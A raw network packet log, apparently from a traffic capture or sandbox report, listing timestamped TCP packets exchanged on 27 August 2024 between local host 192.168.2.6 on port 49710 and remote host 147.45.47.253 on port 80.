Aug 27, 2024 20:12:04.068046093 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.068052053 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.068058014 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.068063974 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.068069935 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.068083048 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.068088055 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.068094969 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.068098068 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.068099022 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.068108082 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.068135977 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.068166971 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.068588018 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.068593979 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.068599939 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.068604946 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.068609953 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.068614960 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.068620920 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.068633080 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.068638086 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.068639040 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.068644047 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.068650007 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.068661928 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.068667889 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.068676949 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.068701029 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.068710089 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.069132090 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.069137096 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.069143057 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.069148064 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.069159031 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.069164038 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.069176912 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.069181919 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.069189072 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.069194078 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.069195032 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.069209099 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.069231987 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.069534063 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.069540977 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.069557905 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.069565058 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.069595098 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.069605112 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.069649935 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.069657087 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.069662094 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.069668055 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.069673061 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.069678068 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.069684029 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.069689989 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.069694996 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.069710970 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.069716930 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.069782019 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.070207119 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.070224047 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.070230961 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.070265055 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.070277929 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.070343018 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.070353985 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.070360899 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.070365906 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.070372105 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.070389986 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.070394039 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.070395947 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.070408106 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.070413113 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.070420027 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.070421934 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.070424080 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.070437908 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.070461035 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.152419090 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.152436018 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.152442932 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.152553082 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.152553082 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.152585983 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.152592897 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.152599096 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.152606010 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.152635098 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.152656078 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.152674913 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.152694941 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.152702093 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.152714014 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.152745008 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.152781963 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.152787924 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.152801037 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.152836084 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.152878046 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.152884007 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.152895927 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.152930021 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.153012991 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.153023958 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.153029919 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.153058052 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.153074980 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.153148890 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.153155088 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.153167963 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.153173923 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.153202057 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.153218031 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.153312922 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.153325081 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.153331041 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.153338909 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.153368950 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.153395891 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.153413057 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.153419018 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.153465986 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.153548002 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.153554916 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.153567076 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.153572083 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.153578997 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.153584957 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.153590918 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.153600931 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.153625011 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.153635979 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.153780937 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.153786898 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.153793097 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.153832912 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.153892994 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.153899908 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.153912067 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.153918028 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.153923988 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.153945923 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.153965950 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.154035091 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.154042006 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.154047012 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.154073954 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.154083967 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.154083967 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.154090881 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.154104948 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.154155970 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.154311895 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.154325008 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.154328108 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.154333115 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.154336929 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.154344082 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.154361010 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.154396057 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.154563904 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.154570103 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.154582024 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.154587984 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.154592991 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.154616117 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.154629946 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.154829025 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.154834032 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.154844999 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.154850960 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.154855967 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.154863119 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.154870033 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.154881954 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.154881954 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.154889107 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.154895067 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.154901028 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.154901028 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.154915094 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.154930115 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.154947996 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.155195951 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.155250072 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.159949064 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.160005093 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.160063028 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.160094023 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.160109997 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.160110950 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.160115004 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.160121918 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.160140038 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.160181046 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.160516024 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.160522938 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.160528898 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.160571098 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.160598040 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.160604000 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.160614967 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.160621881 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.160650969 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.160661936 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.160763979 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.160770893 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.160811901 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.160912991 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.160919905 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.160943985 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.160950899 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.160963058 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.160968065 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.160969973 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.160978079 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.160994053 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.161020994 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.161201954 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.161211967 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.161214113 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.161252022 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.161256075 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.161258936 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.161264896 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.161268950 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.161293983 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.161307096 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.161482096 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.161488056 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.161499977 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.161505938 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.161535025 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.161554098 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.161624908 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.161634922 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.161642075 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.161653042 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.161662102 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.161669970 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.161674976 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.161680937 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.161686897 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.161689997 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.161721945 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.162030935 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.162038088 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.162049055 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.162055969 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.162060976 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.162085056 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.162107944 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.471793890 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.471806049 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.471817017 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.471932888 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.471935034 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.471941948 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.471949100 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.471962929 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.471987009 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.472007036 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.472104073 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.472116947 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.472124100 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.472165108 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.472254038 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.472268105 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.472270012 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.472275019 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.472315073 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.472373962 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.472381115 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.472385883 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.472393036 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.472398996 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.472405910 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.472412109 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.472417116 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.472428083 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.472429991 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.472456932 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.472475052 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.473018885 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.473026037 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.473031044 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.473042011 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.473048925 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.473061085 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.473067045 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.473073006 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.473078966 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.473082066 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.473083973 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.473099947 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.473105907 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.473110914 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.473117113 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.473120928 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.473123074 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.473130941 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.473136902 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.473143101 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.473145008 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.473169088 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.473189116 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.473942995 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.473949909 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.473967075 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.473973989 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.473978996 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.473985910 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.473990917 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.473998070 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.474004030 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.474009991 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.474009991 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.474014997 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.474020958 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.474031925 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.474033117 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.474040031 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.474051952 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.474056959 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.474061966 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.474064112 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.474072933 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.474076986 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.474082947 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.474087954 CEST	49710	80	192.168.2.6	147.45.47.253
